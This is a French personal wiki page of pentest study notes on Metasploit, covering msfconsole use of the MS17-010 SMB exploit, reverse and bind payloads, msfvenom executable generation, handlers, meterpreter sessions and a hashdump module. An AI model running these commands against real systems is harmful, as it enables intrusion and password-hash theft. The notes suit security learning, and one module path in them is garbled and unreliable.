Metasploit

De Justine's wiki
Aller à la navigation Aller à la recherche

Liens

Ajouter un module (exploit) : https://medium.com/@pentest_it/how-to-add-a-module-to-metasploit-from-exploit-db-d389c2a33f6d ! Ca ne marche qu'avec du ruby, donc .rb

Présentation

https://www.metasploit.com/

Metasploit est un framework servant à réaliser des tests de pénétration. Il se base sur des "exploits", c'est-à-dire des failles de vulnérabilités, ainsi que sur des "payloads" (des charges de code à exécuter en utilisant les failles trouvées).

 

Il se lance avec msfconsole. Une fois fait, je peux chercher une vulnérabilité (que j’aurais par exemple trouvée avec nmap --script vuln) avec la commande search : par exemple search ms17-010. Les exploits ont un rang de 1 à 7, plus il est haut mieux c’est. Je peux aussi chercher une date : search 2018. Une fois l’exploit trouvé, metaploit affiche son chemin : exploit/windows/smb/ms17_010_psexec. Les exploits peuvent aussi être rangés non par numéro de correctif microsoft, mais CVE ou BID.

Je peux ensuite l’utiliser avec use.

Me voilà « dans » l’exploit.

Je peux voir les payloads compatibles : show payloads.

Je la choisit avec set payload windows/x64/vncinject/reverse_tcp

Puis les options à adapter à ma charge : show options

Je vois les options requises (required) et parmi celles-ci lesquelles ne sont pas configurées, ici RHOST (Remote Host). Je fais donc set RHOST 10.0.0.9

Voire même un set LHOST 10.0.0.8 pour bien donner mon adresse (Local Host).

Je peux revérifier les options.

On lance avec la commande exploit.

Parmi tous les types de charge, on a les charges en bind (ou l’attaquant se connecte) et les charges reverse (ou la machine cible se connecte à l’attaquant). Meterpreter est un shell assez avancé et discret. VNC un bureau à distance. Etc.

MSFVENOM

Sert à générer des payloads : du code a éxecuter sur la victime.
exemple : msfvenom -p windows/meterpreter/bind_tcp LHOST=10.0.0.8 -f exe -o payload.exe

va génerér mon payload (-p) bind_tcp… LHOSt est l’adresse de l’attaquant, -f le format, -o le nom.
Une fois ceci fait, si je vais dans msfconsole et exécute un handler en faisant :
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
[configurer les options…]
exploit -j

Je n’ai plus qu’à lancer le payload sur ma victime windows. si je vérifie que le handler est bien lancé, j’aurais un message du type « session opened ». je pourrais ensuite utiliser la commande sessions pour la voir, sessions <numero> pour l’utiliser… ctrl+z pour la repasser en background.

On peut aussi upgrader un shell normal en meterpreter:

sessions 1 -u #Metasploit utilise pour ça un reverse shell en tcp, de façon automatique.

Meterpreter :
En plus de toutes les commandes que je peux voir avec help, meterpreter utilise les scripts de la catégorie post, avec la commande run. Par exemple :run postuse exploit/windows/smb/ms17_010_psexec/linux/gather/hashdump.

 

OUTIL A VOIR : EvilGinx

 

Searchsploit

Moteur de recherche d'exploit, inclus avec kali. Simple à utiliser :

root@kali-squi:~/Documents/NOtes - HTB# searchsploit cms made simple